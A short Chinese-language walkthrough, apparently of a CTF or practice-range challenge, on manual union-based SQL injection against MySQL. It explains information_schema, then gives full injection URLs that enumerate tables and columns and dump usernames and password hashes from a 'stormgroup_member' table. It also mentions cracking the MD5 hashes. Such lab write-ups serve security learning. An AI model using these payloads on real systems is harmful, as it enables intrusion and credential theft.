背景知识
1.Mysql的数据结构
mysql中有一个information_schema数据库,用于维护mysql中的其他数据库信息。
其中的tables表的TABLE_SCHEMA字段为库名,TABLE_NAME字段为表名;
columns表的TABLE_SCHEMA字段为所属的数据库,TABLE_NAME字段为表名,COLUMN_NAME字段为列名。
2.手工注入方法。
是否存在过滤,是否可绕过。
是否可通过页面变化或者时间变化,判断是否存在注入点。
判断注入类型,字符型还是数字型,字符型需要构造闭合。
通过order by 判断列数。
在找到注入点,判断出union 可用的字段后,判断出所用的数据库名字和用户名字,然后再information_schema中查看对应的数据库(table_schema)有哪几个表(table_name),然后在columns查看对应的表有哪些字段。
3.md5加解密。
思路
1.判断是否存在注入点。字符型,通过‘构造闭合。
输入’页面发生变化
2.判断列数
3.判断位置,数据库名,用户名
4.查询数据库中的表名
http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
5.查询数据库的字段名
http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='stormgroup_member'--+
6.查询数据库字段对应的值
http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member--+